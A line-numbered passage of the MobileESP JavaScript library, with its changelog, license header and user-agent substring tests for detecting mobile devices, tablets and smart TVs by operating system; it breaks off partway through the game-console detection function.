  1586. // BETA NOTICE
  1587. // Previous versions of the JavaScript code for MobileESP were 'regular'
  1588. // JavaScript. The strength of it was that it was really easy to code and use.
  1589. // Unfortunately, regular JavaScript means that all variables and functions
  1590. // are in the global namespace. There can be collisions with other code libraries
  1591. // which may have similar variable or function names. Collisions cause bugs as each
  1592. // library changes a variable's definition or functionality unexpectedly.
  1593. // As a result, we thought it wise to switch to an "object oriented" style of code.
  1594. // This 'literal notation' technique keeps all MobileESP variables and functions fully self-contained.
  1595. // It avoids potential for collisions with other JavaScript libraries.
  1596. // This technique allows the developer continued access to any desired function or property.
  1597. //
  1598. // Please send feedback to project founder Anthony Hand: [email protected]
  1599. //
  1600. //
  1601. // File version 2015.05.13 (May 13, 2015)
  1602. // Updates:
  1603. // - Moved MobileESP to GitHub. https://github.com/ahand/mobileesp
  1604. // - Opera Mobile/Mini browser has the same UA string on multiple platforms and doesn't differentiate phone vs. tablet.
  1605. // - Removed DetectOperaAndroidPhone(). This method is no longer reliable.
  1606. // - Removed DetectOperaAndroidTablet(). This method is no longer reliable.
  1607. // - Added support for Windows Phone 10: variable and DetectWindowsPhone10()
  1608. // - Updated DetectWindowsPhone() to include WP10.
  1609. // - Added support for Firefox OS.
  1610. // - A variable plus DetectFirefoxOS(), DetectFirefoxOSPhone(), DetectFirefoxOSTablet()
  1611. // - NOTE: Firefox doesn't add UA tokens to definitively identify Firefox OS vs. their browsers on other mobile platforms.
  1612. // - Added support for Sailfish OS. Not enough info to add a tablet detection method at this time.
  1613. // - A variable plus DetectSailfish(), DetectSailfishPhone()
  1614. // - Added support for Ubuntu Mobile OS.
  1615. // - DetectUbuntu(), DetectUbuntuPhone(), DetectUbuntuTablet()
  1616. // - Added support for 2 smart TV OSes. They lack browsers but do have WebViews for use by HTML apps.
  1617. // - One variable for Samsung Tizen TVs, plus DetectTizenTV()
  1618. // - One variable for LG WebOS TVs, plus DetectWebOSTV()
  1619. // - Updated DetectTizen(). Now tests for “mobile” to disambiguate from Samsung Smart TVs
  1620. // - Removed variables for obsolete devices: deviceHtcFlyer, deviceXoom.
  1621. // - Updated DetectAndroid(). No longer has a special test case for the HTC Flyer tablet.
  1622. // - Updated DetectAndroidPhone().
  1623. // - Updated internal detection code for Android.
  1624. // - No longer has a special test case for the HTC Flyer tablet.
  1625. // - Checks against DetectOperaMobile() on Android and reports here if relevant.
  1626. // - Updated DetectAndroidTablet().
  1627. // - No longer has a special test case for the HTC Flyer tablet.
  1628. // - Checks against DetectOperaMobile() on Android to exclude it from here.
  1629. // - DetectMeego(): Changed definition for this method. Now detects any Meego OS device, not just phones.
  1630. // - DetectMeegoPhone(): NEW. For Meego phones. Ought to detect Opera browsers on Meego, as well.
  1631. // - DetectTierIphone(): Added support for phones running Sailfish, Ubuntu and Firefox Mobile.
  1632. // - DetectTierTablet(): Added support for tablets running Ubuntu and Firefox Mobile.
  1633. // - DetectSmartphone(): Added support for Meego phones.
  1634. // - Reorganized DetectMobileQuick(). Moved the following to DetectMobileLong():
  1635. // - DetectDangerHiptop(), DetectMaemoTablet(), DetectSonyMylo(), DetectArchos()
  1636. //
  1637. //
  1638. //
  1639. // LICENSE INFORMATION
  1640. // Licensed under the Apache License, Version 2.0 (the "License");
  1641. // you may not use this file except in compliance with the License.
  1642. // You may obtain a copy of the License at
  1643. // http://www.apache.org/licenses/LICENSE-2.0
  1644. // Unless required by applicable law or agreed to in writing,
  1645. // software distributed under the License is distributed on an
  1646. // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
  1647. // either express or implied. See the License for the specific
  1648. // language governing permissions and limitations under the License.
  1649. //
  1650. //
  1651. // ABOUT THIS PROJECT
  1652. // Project Owner: Anthony Hand
  1653. // Web Site: http://www.mobileesp.com
  1654. // Source Files: https://github.com/ahand/mobileesp
  1655. //
  1656. // Versions of this code are available for:
  1657. // PHP, JavaScript, Java, ASP.NET (C#), Ruby and others
  1658. //
  1659. //
  1660. // WARNING:
  1661. // These JavaScript-based device detection features may ONLY work
  1662. // for the newest generation of smartphones, such as the iPhone,
  1663. // Android and Palm WebOS devices.
  1664. // These device detection features may NOT work for older smartphones
  1665. // which had poor support for JavaScript, including
  1666. // older BlackBerry, PalmOS, and Windows Mobile devices.
  1667. // Additionally, because JavaScript support is extremely poor among
  1668. // 'feature phones', these features may not work at all on such devices.
  1669. // For better results, consider using a server-based version of this code,
  1670. // such as Java, APS.NET, PHP, or Ruby.
  1671. //
  1672. // *******************************************
  1673. */
  1674.  
  1675.  
  1676. var MobileEsp = {
  1677.  
  1678. //GLOBALLY USEFUL VARIABLES
  1679. //Note: These values are set automatically during the Init function.
  1680. //Stores whether we're currently initializing the most popular functions.
  1681. initCompleted : false,
  1682. isWebkit : false, //Stores the result of DetectWebkit()
  1683. isMobilePhone : false, //Stores the result of DetectMobileQuick()
  1684. isIphone : false, //Stores the result of DetectIphone()
  1685. isAndroid : false, //Stores the result of DetectAndroid()
  1686. isAndroidPhone : false, //Stores the result of DetectAndroidPhone()
  1687. isTierTablet : false, //Stores the result of DetectTierTablet()
  1688. isTierIphone : false, //Stores the result of DetectTierIphone()
  1689. isTierRichCss : false, //Stores the result of DetectTierRichCss()
  1690. isTierGenericMobile : false, //Stores the result of DetectTierOtherPhones()
  1691.  
  1692. //INTERNALLY USED DETECTION STRING VARIABLES
  1693. engineWebKit : 'webkit',
  1694. deviceIphone : 'iphone',
  1695. deviceIpod : 'ipod',
  1696. deviceIpad : 'ipad',
  1697. deviceMacPpc : 'macintosh', //Used for disambiguation
  1698.  
  1699. deviceAndroid : 'android',
  1700. deviceGoogleTV : 'googletv',
  1701.  
  1702. deviceWinPhone7 : 'windows phone os 7',
  1703. deviceWinPhone8 : 'windows phone 8',
  1704. deviceWinPhone10 : 'windows phone 10',
  1705. deviceWinMob : 'windows ce',
  1706. deviceWindows : 'windows',
  1707. deviceIeMob : 'iemobile',
  1708. devicePpc : 'ppc', //Stands for PocketPC
  1709. enginePie : 'wm5 pie', //An old Windows Mobile
  1710.  
  1711. deviceBB : 'blackberry',
  1712. deviceBB10 : 'bb10', //For the new BB 10 OS
  1713. vndRIM : 'vnd.rim', //Detectable when BB devices emulate IE or Firefox
  1714. deviceBBStorm : 'blackberry95', //Storm 1 and 2
  1715. deviceBBBold : 'blackberry97', //Bold 97x0 (non-touch)
  1716. deviceBBBoldTouch : 'blackberry 99', //Bold 99x0 (touchscreen)
  1717. deviceBBTour : 'blackberry96', //Tour
  1718. deviceBBCurve : 'blackberry89', //Curve 2
  1719. deviceBBCurveTouch : 'blackberry 938', //Curve Touch 9380
  1720. deviceBBTorch : 'blackberry 98', //Torch
  1721. deviceBBPlaybook : 'playbook', //PlayBook tablet
  1722.  
  1723. deviceSymbian : 'symbian',
  1724. deviceSymbos : 'symbos', //Opera 10 on Symbian
  1725. deviceS60 : 'series60',
  1726. deviceS70 : 'series70',
  1727. deviceS80 : 'series80',
  1728. deviceS90 : 'series90',
  1729.  
  1730. devicePalm : 'palm',
  1731. deviceWebOS : 'webos', //For Palm devices
  1732. deviceWebOStv : 'web0s', //For LG TVs
  1733. deviceWebOShp : 'hpwos', //For HP's line of WebOS devices
  1734.  
  1735. deviceNuvifone : 'nuvifone', //Garmin Nuvifone
  1736. deviceBada : 'bada', //Samsung's Bada OS
  1737. deviceTizen : 'tizen', //Tizen OS
  1738. deviceMeego : 'meego', //Meego OS
  1739. deviceSailfish : 'sailfish', //Sailfish OS
  1740. deviceUbuntu : 'ubuntu', //Ubuntu Mobile OS
  1741.  
  1742. deviceKindle : 'kindle', //Amazon eInk Kindle
  1743. engineSilk : 'silk-accelerated', //Amazon's accelerated Silk browser for Kindle Fire
  1744.  
  1745. engineBlazer : 'blazer', //Old Palm browser
  1746. engineXiino : 'xiino',
  1747.  
  1748. //Initialize variables for mobile-specific content.
  1749. vndwap : 'vnd.wap',
  1750. wml : 'wml',
  1751.  
  1752. //Initialize variables for random devices and mobile browsers.
  1753. //Some of these may not support JavaScript
  1754. deviceTablet : 'tablet',
  1755. deviceBrew : 'brew',
  1756. deviceDanger : 'danger',
  1757. deviceHiptop : 'hiptop',
  1758. devicePlaystation : 'playstation',
  1759. devicePlaystationVita : 'vita',
  1760. deviceNintendoDs : 'nitro',
  1761. deviceNintendo : 'nintendo',
  1762. deviceWii : 'wii',
  1763. deviceXbox : 'xbox',
  1764. deviceArchos : 'archos',
  1765.  
  1766. engineFirefox : 'firefox', //For Firefox OS
  1767. engineOpera : 'opera', //Popular browser
  1768. engineNetfront : 'netfront', //Common embedded OS browser
  1769. engineUpBrowser : 'up.browser', //common on some phones
  1770. deviceMidp : 'midp', //a mobile Java technology
  1771. uplink : 'up.link',
  1772. engineTelecaQ : 'teleca q', //a modern feature phone browser
  1773. engineObigo : 'obigo', //W 10 is a modern feature phone browser
  1774.  
  1775. devicePda : 'pda',
  1776. mini : 'mini', //Some mobile browsers put 'mini' in their names
  1777. mobile : 'mobile', //Some mobile browsers put 'mobile' in their user agent strings
  1778. mobi : 'mobi', //Some mobile browsers put 'mobi' in their user agent strings
  1779.  
  1780. //Smart TV strings
  1781. smartTV1 : 'smart-tv', //Samsung Tizen smart TVs
  1782. smartTV2 : 'smarttv', //LG WebOS smart TVs
  1783.  
  1784. //Use Maemo, Tablet, and Linux to test for Nokia's Internet Tablets.
  1785. maemo : 'maemo',
  1786. linux : 'linux',
  1787. mylocom2 : 'sony/com', // for Sony Mylo 1 and 2
  1788.  
  1789. //In some UserAgents, the only clue is the manufacturer
  1790. manuSonyEricsson : 'sonyericsson',
  1791. manuericsson : 'ericsson',
  1792. manuSamsung1 : 'sec-sgh',
  1793. manuSony : 'sony',
  1794. manuHtc : 'htc', //Popular Android and WinMo manufacturer
  1795.  
  1796. //In some UserAgents, the only clue is the operator
  1797. svcDocomo : 'docomo',
  1798. svcKddi : 'kddi',
  1799. svcVodafone : 'vodafone',
  1800.  
  1801. //Disambiguation strings.
  1802. disUpdate : 'update', //pda vs. update
  1803.  
  1804. //Holds the User Agent string value.
  1805. uagent : '',
  1806.  
  1807. //Initializes key MobileEsp variables
  1808. InitDeviceScan : function() {
  1809. this.initCompleted = false;
  1810.  
  1811. if (navigator && navigator.userAgent)
  1812. this.uagent = navigator.userAgent.toLowerCase();
  1813.  
  1814. //Save these properties to speed processing
  1815. this.isWebkit = this.DetectWebkit();
  1816. this.isIphone = this.DetectIphone();
  1817. this.isAndroid = this.DetectAndroid();
  1818. this.isAndroidPhone = this.DetectAndroidPhone();
  1819.  
  1820. //Generally, these tiers are the most useful for web development
  1821. this.isMobilePhone = this.DetectMobileQuick();
  1822. this.isTierIphone = this.DetectTierIphone();
  1823. this.isTierTablet = this.DetectTierTablet();
  1824.  
  1825. //Optional: Comment these out if you NEVER use them
  1826. this.isTierRichCss = this.DetectTierRichCss();
  1827. this.isTierGenericMobile = this.DetectTierOtherPhones();
  1828.  
  1829. this.initCompleted = true;
  1830. },
  1831.  
  1832.  
  1833. //APPLE IOS
  1834.  
  1835. //**************************
  1836. // Detects if the current device is an iPhone.
  1837. DetectIphone : function() {
  1838. if (this.initCompleted || this.isIphone)
  1839. return this.isIphone;
  1840.  
  1841. if (this.uagent.search(this.deviceIphone) > -1)
  1842. {
  1843. //The iPad and iPod Touch say they're an iPhone! So let's disambiguate.
  1844. if (this.DetectIpad() || this.DetectIpod())
  1845. return false;
  1846. //Yay! It's an iPhone!
  1847. else
  1848. return true;
  1849. }
  1850. else
  1851. return false;
  1852. },
  1853.  
  1854. //**************************
  1855. // Detects if the current device is an iPod Touch.
  1856. DetectIpod : function() {
  1857. if (this.uagent.search(this.deviceIpod) > -1)
  1858. return true;
  1859. else
  1860. return false;
  1861. },
  1862.  
  1863. //**************************
  1864. // Detects if the current device is an iPhone or iPod Touch.
  1865. DetectIphoneOrIpod : function() {
  1866. //We repeat the searches here because some iPods
  1867. // may report themselves as an iPhone, which is ok.
  1868. if (this.DetectIphone() || this.DetectIpod())
  1869. return true;
  1870. else
  1871. return false;
  1872. },
  1873.  
  1874. //**************************
  1875. // Detects if the current device is an iPad tablet.
  1876. DetectIpad : function() {
  1877. if (this.uagent.search(this.deviceIpad) > -1 && this.DetectWebkit())
  1878. return true;
  1879. else
  1880. return false;
  1881. },
  1882.  
  1883. //**************************
  1884. // Detects *any* iOS device: iPhone, iPod Touch, iPad.
  1885. DetectIos : function() {
  1886. if (this.DetectIphoneOrIpod() || this.DetectIpad())
  1887. return true;
  1888. else
  1889. return false;
  1890. },
  1891.  
  1892.  
  1893. //ANDROID
  1894.  
  1895. //**************************
  1896. // Detects *any* Android OS-based device: phone, tablet, and multi-media player.
  1897. // Also detects Google TV.
  1898. DetectAndroid : function() {
  1899. if (this.initCompleted || this.isAndroid)
  1900. return this.isAndroid;
  1901.  
  1902. if ((this.uagent.search(this.deviceAndroid) > -1) || this.DetectGoogleTV())
  1903. return true;
  1904.  
  1905. return false;
  1906. },
  1907.  
  1908. //**************************
  1909. // Detects if the current device is a (small-ish) Android OS-based device
  1910. // used for calling and/or multi-media (like a Samsung Galaxy Player).
  1911. // Google says these devices will have 'Android' AND 'mobile' in user agent.
  1912. // Ignores tablets (Honeycomb and later).
  1913. DetectAndroidPhone : function() {
  1914. if (this.initCompleted || this.isAndroidPhone)
  1915. return this.isAndroidPhone;
  1916.  
  1917. //First, let's make sure we're on an Android device.
  1918. if (!this.DetectAndroid())
  1919. return false;
  1920.  
  1921. //If it's Android and has 'mobile' in it, Google says it's a phone.
  1922. if (this.uagent.search(this.mobile) > -1)
  1923. return true;
  1924.  
  1925. //Special check for Android phones with Opera Mobile. They should report here.
  1926. if (this.DetectOperaMobile())
  1927. return true;
  1928.  
  1929. return false;
  1930. },
  1931.  
  1932. //**************************
  1933. // Detects if the current device is a (self-reported) Android tablet.
  1934. // Google says these devices will have 'Android' and NOT 'mobile' in their user agent.
  1935. DetectAndroidTablet : function() {
  1936. //First, let's make sure we're on an Android device.
  1937. if (!this.DetectAndroid())
  1938. return false;
  1939.  
  1940. //Special check for Opera Android Phones. They should NOT report here.
  1941. if (this.DetectOperaMobile())
  1942. return false;
  1943.  
  1944. //Otherwise, if it's Android and does NOT have 'mobile' in it, Google says it's a tablet.
  1945. if (this.uagent.search(this.mobile) > -1)
  1946. return false;
  1947. else
  1948. return true;
  1949. },
  1950.  
  1951. //**************************
  1952. // Detects if the current device is an Android OS-based device and
  1953. // the browser is based on WebKit.
  1954. DetectAndroidWebKit : function() {
  1955. if (this.DetectAndroid() && this.DetectWebkit())
  1956. return true;
  1957. else
  1958. return false;
  1959. },
  1960.  
  1961. //**************************
  1962. // Detects if the current device is a GoogleTV.
  1963. DetectGoogleTV : function() {
  1964. if (this.uagent.search(this.deviceGoogleTV) > -1)
  1965. return true;
  1966. else
  1967. return false;
  1968. },
  1969.  
  1970. //**************************
  1971. // Detects if the current browser is based on WebKit.
  1972. DetectWebkit : function() {
  1973. if (this.initCompleted || this.isWebkit)
  1974. return this.isWebkit;
  1975.  
  1976. if (this.uagent.search(this.engineWebKit) > -1)
  1977. return true;
  1978. else
  1979. return false;
  1980. },
  1981.  
  1982.  
  1983. //WINDOWS MOBILE AND PHONE
  1984.  
  1985. // Detects if the current browser is a
  1986. // Windows Phone 7, 8, or 10 device.
  1987. DetectWindowsPhone : function() {
  1988. if (this.DetectWindowsPhone7() ||
  1989. this.DetectWindowsPhone8() ||
  1990. this.DetectWindowsPhone10())
  1991. return true;
  1992. else
  1993. return false;
  1994. },
  1995.  
  1996. //**************************
  1997. // Detects a Windows Phone 7 device (in mobile browsing mode).
  1998. DetectWindowsPhone7 : function() {
  1999. if (this.uagent.search(this.deviceWinPhone7) > -1)
  2000. return true;
  2001. else
  2002. return false;
  2003. },
  2004.  
  2005. //**************************
  2006. // Detects a Windows Phone 8 device (in mobile browsing mode).
  2007. DetectWindowsPhone8 : function() {
  2008. if (this.uagent.search(this.deviceWinPhone8) > -1)
  2009. return true;
  2010. else
  2011. return false;
  2012. },
  2013.  
  2014. //**************************
  2015. // Detects a Windows Phone 10 device (in mobile browsing mode).
  2016. DetectWindowsPhone10 : function() {
  2017. if (this.uagent.search(this.deviceWinPhone10) > -1)
  2018. return true;
  2019. else
  2020. return false;
  2021. },
  2022.  
  2023. //**************************
  2024. // Detects if the current browser is a Windows Mobile device.
  2025. // Excludes Windows Phone 7 and later devices.
  2026. // Focuses on Windows Mobile 6.xx and earlier.
  2027. DetectWindowsMobile : function() {
  2028. if (this.DetectWindowsPhone())
  2029. return false;
  2030.  
  2031. //Most devices use 'Windows CE', but some report 'iemobile'
  2032. // and some older ones report as 'PIE' for Pocket IE.
  2033. if (this.uagent.search(this.deviceWinMob) > -1 ||
  2034. this.uagent.search(this.deviceIeMob) > -1 ||
  2035. this.uagent.search(this.enginePie) > -1)
  2036. return true;
  2037. //Test for Windows Mobile PPC but not old Macintosh PowerPC.
  2038. if ((this.uagent.search(this.devicePpc) > -1) &&
  2039. !(this.uagent.search(this.deviceMacPpc) > -1))
  2040. return true;
  2041. //Test for Windwos Mobile-based HTC devices.
  2042. if (this.uagent.search(this.manuHtc) > -1 &&
  2043. this.uagent.search(this.deviceWindows) > -1)
  2044. return true;
  2045. else
  2046. return false;
  2047. },
  2048.  
  2049.  
  2050. //BLACKBERRY
  2051.  
  2052. //**************************
  2053. // Detects if the current browser is a BlackBerry of some sort.
  2054. // Includes BB10 OS, but excludes the PlayBook.
  2055. DetectBlackBerry : function() {
  2056. if ((this.uagent.search(this.deviceBB) > -1) ||
  2057. (this.uagent.search(this.vndRIM) > -1))
  2058. return true;
  2059. if (this.DetectBlackBerry10Phone())
  2060. return true;
  2061. else
  2062. return false;
  2063. },
  2064.  
  2065. //**************************
  2066. // Detects if the current browser is a BlackBerry 10 OS phone.
  2067. // Excludes tablets.
  2068. DetectBlackBerry10Phone : function() {
  2069. if ((this.uagent.search(this.deviceBB10) > -1) &&
  2070. (this.uagent.search(this.mobile) > -1))
  2071. return true;
  2072. else
  2073. return false;
  2074. },
  2075.  
  2076. //**************************
  2077. // Detects if the current browser is on a BlackBerry tablet device.
  2078. // Example: PlayBook
  2079. DetectBlackBerryTablet : function() {
  2080. if (this.uagent.search(this.deviceBBPlaybook) > -1)
  2081. return true;
  2082. else
  2083. return false;
  2084. },
  2085.  
  2086. //**************************
  2087. // Detects if the current browser is a BlackBerry device AND uses a
  2088. // WebKit-based browser. These are signatures for the new BlackBerry OS 6.
  2089. // Examples: Torch. Includes the Playbook.
  2090. DetectBlackBerryWebKit : function() {
  2091. if (this.DetectBlackBerry() &&
  2092. this.uagent.search(this.engineWebKit) > -1)
  2093. return true;
  2094. else
  2095. return false;
  2096. },
  2097.  
  2098. //**************************
  2099. // Detects if the current browser is a BlackBerry Touch
  2100. // device, such as the Storm, Torch, and Bold Touch. Excludes the Playbook.
  2101. DetectBlackBerryTouch : function() {
  2102. if (this.DetectBlackBerry() &&
  2103. ((this.uagent.search(this.deviceBBStorm) > -1) ||
  2104. (this.uagent.search(this.deviceBBTorch) > -1) ||
  2105. (this.uagent.search(this.deviceBBBoldTouch) > -1) ||
  2106. (this.uagent.search(this.deviceBBCurveTouch) > -1) ))
  2107. return true;
  2108. else
  2109. return false;
  2110. },
  2111.  
  2112. //**************************
  2113. // Detects if the current browser is a BlackBerry OS 5 device AND
  2114. // has a more capable recent browser. Excludes the Playbook.
  2115. // Examples, Storm, Bold, Tour, Curve2
  2116. // Excludes the new BlackBerry OS 6 and 7 browser!!
  2117. DetectBlackBerryHigh : function() {
  2118. //Disambiguate for BlackBerry OS 6 or 7 (WebKit) browser
  2119. if (this.DetectBlackBerryWebKit())
  2120. return false;
  2121. if ((this.DetectBlackBerry()) &&
  2122. (this.DetectBlackBerryTouch() ||
  2123. this.uagent.search(this.deviceBBBold) > -1 ||
  2124. this.uagent.search(this.deviceBBTour) > -1 ||
  2125. this.uagent.search(this.deviceBBCurve) > -1))
  2126. return true;
  2127. else
  2128. return false;
  2129. },
  2130.  
  2131. //**************************
  2132. // Detects if the current browser is a BlackBerry device AND
  2133. // has an older, less capable browser.
  2134. // Examples: Pearl, 8800, Curve1.
  2135. DetectBlackBerryLow : function() {
  2136. if (this.DetectBlackBerry())
  2137. {
  2138. //Assume that if it's not in the High tier or has WebKit, then it's Low.
  2139. if (this.DetectBlackBerryHigh() || this.DetectBlackBerryWebKit())
  2140. return false;
  2141. else
  2142. return true;
  2143. }
  2144. else
  2145. return false;
  2146. },
  2147.  
  2148.  
  2149. //SYMBIAN
  2150.  
  2151. //**************************
  2152. // Detects if the current browser is the Nokia S60 Open Source Browser.
  2153. DetectS60OssBrowser : function() {
  2154. if (this.DetectWebkit())
  2155. {
  2156. if ((this.uagent.search(this.deviceS60) > -1 ||
  2157. this.uagent.search(this.deviceSymbian) > -1))
  2158. return true;
  2159. else
  2160. return false;
  2161. }
  2162. else
  2163. return false;
  2164. },
  2165.  
  2166. //**************************
  2167. // Detects if the current device is any Symbian OS-based device,
  2168. // including older S60, Series 70, Series 80, Series 90, and UIQ,
  2169. // or other browsers running on these devices.
  2170. DetectSymbianOS : function() {
  2171. if (this.uagent.search(this.deviceSymbian) > -1 ||
  2172. this.uagent.search(this.deviceS60) > -1 ||
  2173. ((this.uagent.search(this.deviceSymbos) > -1) &&
  2174. (this.DetectOperaMobile)) || //Opera 10
  2175. this.uagent.search(this.deviceS70) > -1 ||
  2176. this.uagent.search(this.deviceS80) > -1 ||
  2177. this.uagent.search(this.deviceS90) > -1)
  2178. return true;
  2179. else
  2180. return false;
  2181. },
  2182.  
  2183.  
  2184. //WEBOS AND PALM
  2185.  
  2186. //**************************
  2187. // Detects if the current browser is on a PalmOS device.
  2188. DetectPalmOS : function() {
  2189. //Make sure it's not WebOS first
  2190. if (this.DetectPalmWebOS())
  2191. return false;
  2192.  
  2193. //Most devices nowadays report as 'Palm',
  2194. // but some older ones reported as Blazer or Xiino.
  2195. if (this.uagent.search(this.devicePalm) > -1 ||
  2196. this.uagent.search(this.engineBlazer) > -1 ||
  2197. this.uagent.search(this.engineXiino) > -1)
  2198. return true;
  2199. else
  2200. return false;
  2201. },
  2202.  
  2203. //**************************
  2204. // Detects if the current browser is on a Palm device
  2205. // running the new WebOS.
  2206. DetectPalmWebOS : function()
  2207. {
  2208. if (this.uagent.search(this.deviceWebOS) > -1)
  2209. return true;
  2210. else
  2211. return false;
  2212. },
  2213.  
  2214. //**************************
  2215. // Detects if the current browser is on an HP tablet running WebOS.
  2216. DetectWebOSTablet : function() {
  2217. if (this.uagent.search(this.deviceWebOShp) > -1 &&
  2218. this.uagent.search(this.deviceTablet) > -1)
  2219. return true;
  2220. else
  2221. return false;
  2222. },
  2223.  
  2224. //**************************
  2225. // Detects if the current browser is on a WebOS smart TV.
  2226. DetectWebOSTV : function() {
  2227. if (this.uagent.search(this.deviceWebOStv) > -1 &&
  2228. this.uagent.search(this.smartTV2) > -1)
  2229. return true;
  2230. else
  2231. return false;
  2232. },
  2233.  
  2234.  
  2235. //OPERA
  2236.  
  2237. //**************************
  2238. // Detects if the current browser is Opera Mobile or Mini.
  2239. // Note: Older embedded Opera on mobile devices didn't follow these naming conventions.
  2240. // Like Archos media players, they will probably show up in DetectMobileQuick or -Long instead.
  2241. DetectOperaMobile : function() {
  2242. if ((this.uagent.search(this.engineOpera) > -1) &&
  2243. ((this.uagent.search(this.mini) > -1 ||
  2244. this.uagent.search(this.mobi) > -1)))
  2245. return true;
  2246. else
  2247. return false;
  2248. },
  2249.  
  2250.  
  2251. //MISCELLANEOUS DEVICES
  2252.  
  2253. //**************************
  2254. // Detects if the current device is an Amazon Kindle (eInk devices only).
  2255. // Note: For the Kindle Fire, use the normal Android methods.
  2256. DetectKindle : function() {
  2257. if (this.uagent.search(this.deviceKindle) > -1 &&
  2258. !this.DetectAndroid())
  2259. return true;
  2260. else
  2261. return false;
  2262. },
  2263.  
  2264. //**************************
  2265. // Detects if the current Amazon device has turned on the Silk accelerated browsing feature.
  2266. // Note: Typically used by the the Kindle Fire.
  2267. DetectAmazonSilk : function() {
  2268. if (this.uagent.search(this.engineSilk) > -1)
  2269. return true;
  2270. else
  2271. return false;
  2272. },
  2273.  
  2274. //**************************
  2275. // Detects if the current browser is a
  2276. // Garmin Nuvifone.
  2277. DetectGarminNuvifone : function() {
  2278. if (this.uagent.search(this.deviceNuvifone) > -1)
  2279. return true;
  2280. else
  2281. return false;
  2282. },
  2283.  
  2284. //**************************
  2285. // Detects a device running the Bada OS from Samsung.
  2286. DetectBada : function() {
  2287. if (this.uagent.search(this.deviceBada) > -1)
  2288. return true;
  2289. else
  2290. return false;
  2291. },
  2292.  
  2293. //**************************
  2294. // Detects a device running the Tizen smartphone OS.
  2295. DetectTizen : function() {
  2296. if (this.uagent.search(this.deviceTizen) > -1 &&
  2297. this.uagent.search(this.mobile) > -1)
  2298. return true;
  2299. else
  2300. return false;
  2301. },
  2302.  
  2303. //**************************
  2304. // Detects if the current browser is on a Tizen smart TV.
  2305. DetectTizenTV : function() {
  2306. if (this.uagent.search(this.deviceTizen) > -1 &&
  2307. this.uagent.search(this.smartTV1) > -1)
  2308. return true;
  2309. else
  2310. return false;
  2311. },
  2312.  
  2313. //**************************
  2314. // Detects a device running the Meego OS.
  2315. DetectMeego : function() {
  2316. if (this.uagent.search(this.deviceMeego) > -1)
  2317. return true;
  2318. else
  2319. return false;
  2320. },
  2321.  
  2322. //**************************
  2323. // Detects a phone running the Meego OS.
  2324. DetectMeegoPhone : function() {
  2325. if (this.uagent.search(this.deviceMeego) > -1 &&
  2326. this.uagent.search(this.mobi) > -1)
  2327. return true;
  2328. else
  2329. return false;
  2330. },
  2331.  
  2332. //**************************
  2333. // Detects a mobile device (probably) running the Firefox OS.
  2334. DetectFirefoxOS : function() {
  2335. if (this.DetectFirefoxOSPhone() || this.DetectFirefoxOSTablet())
  2336. return true;
  2337. else
  2338. return false;
  2339. },
  2340.  
  2341. //**************************
  2342. // Detects a phone (probably) running the Firefox OS.
  2343. DetectFirefoxOSPhone : function() {
  2344. //First, let's make sure we're NOT on another major mobile OS.
  2345. if (this.DetectIos() ||
  2346. this.DetectAndroid() ||
  2347. this.DetectSailfish())
  2348. return false;
  2349.  
  2350. if ((this.uagent.search(this.engineFirefox) > -1) &&
  2351. (this.uagent.search(this.mobile) > -1))
  2352. return true;
  2353.  
  2354. return false;
  2355. },
  2356.  
  2357. //**************************
  2358. // Detects a tablet (probably) running the Firefox OS.
  2359. DetectFirefoxOSTablet : function() {
  2360. //First, let's make sure we're NOT on another major mobile OS.
  2361. if (this.DetectIos() ||
  2362. this.DetectAndroid() ||
  2363. this.DetectSailfish())
  2364. return false;
  2365.  
  2366. if ((this.uagent.search(this.engineFirefox) > -1) &&
  2367. (this.uagent.search(this.deviceTablet) > -1))
  2368. return true;
  2369.  
  2370. return false;
  2371. },
  2372.  
  2373. //**************************
  2374. // Detects a device running the Sailfish OS.
  2375. DetectSailfish : function() {
  2376. if (this.uagent.search(this.deviceSailfish) > -1)
  2377. return true;
  2378. else
  2379. return false;
  2380. },
  2381.  
  2382. //**************************
  2383. // Detects a phone running the Sailfish OS.
  2384. DetectSailfishPhone : function() {
  2385. if (this.DetectSailfish() && (this.uagent.search(this.mobile) > -1))
  2386. return true;
  2387.  
  2388. return false;
  2389. },
  2390.  
  2391.  
  2392. //**************************
  2393. // Detects a mobile device running the Ubuntu Mobile OS.
  2394. DetectUbuntu : function() {
  2395. if (this.DetectUbuntuPhone() || this.DetectUbuntuTablet())
  2396. return true;
  2397. else
  2398. return false;
  2399. },
  2400.  
  2401. //**************************
  2402. // Detects a phone running the Ubuntu Mobile OS.
  2403. DetectUbuntuPhone : function() {
  2404. if ((this.uagent.search(this.deviceUbuntu) > -1) &&
  2405. (this.uagent.search(this.mobile) > -1))
  2406. return true;
  2407.  
  2408. return false;
  2409. },
  2410.  
  2411. //**************************
  2412. // Detects a tablet running the Ubuntu Mobile OS.
  2413. DetectUbuntuTablet : function() {
  2414. if ((this.uagent.search(this.deviceUbuntu) > -1) &&
  2415. (this.uagent.search(this.deviceTablet) > -1))
  2416. return true;
  2417.  
  2418. return false;
  2419. },
  2420.  
  2421. //**************************
  2422. // Detects the Danger Hiptop device.
  2423. DetectDangerHiptop : function() {
  2424. if (this.uagent.search(this.deviceDanger) > -1 ||
  2425. this.uagent.search(this.deviceHiptop) > -1)
  2426. return true;
  2427. else
  2428. return false;
  2429. },
  2430.  
  2431. //**************************
  2432. // Detects if the current browser is a Sony Mylo device.
  2433. DetectSonyMylo : function() {
  2434. if ((this.uagent.search(this.manuSony) > -1) &&
  2435. ((this.uagent.search(this.qtembedded) > -1) ||
  2436. (this.uagent.search(this.mylocom2) > -1)))
  2437. return true;
  2438. else
  2439. return false;
  2440. },
  2441.  
  2442. //**************************
  2443. // Detects if the current device is on one of
  2444. // the Maemo-based Nokia Internet Tablets.
  2445. DetectMaemoTablet : function() {
  2446. if (this.uagent.search(this.maemo) > -1)
  2447. return true;
  2448. //For Nokia N810, must be Linux + Tablet, or else it could be something else.
  2449. if ((this.uagent.search(this.linux) > -1) &&
  2450. (this.uagent.search(this.deviceTablet) > -1) &&
  2451. this.DetectWebOSTablet() &&
  2452. !this.DetectAndroid())
  2453. return true;
  2454. else
  2455. return false;
  2456. },
  2457.  
  2458. //**************************
  2459. // Detects if the current device is an Archos media player/Internet tablet.
  2460. DetectArchos : function() {
  2461. if (this.uagent.search(this.deviceArchos) > -1)
  2462. return true;
  2463. else
  2464. return false;
  2465. },
  2466.  
  2467. //**************************
  2468. // Detects if the current device is an Internet-capable game console.
  2469. // Includes many handheld consoles.
  2470. DetectGameConsole : function() {
  2471. if (this.DetectSonyPlaystation() ||
  2472. this.DetectNintendo() ||
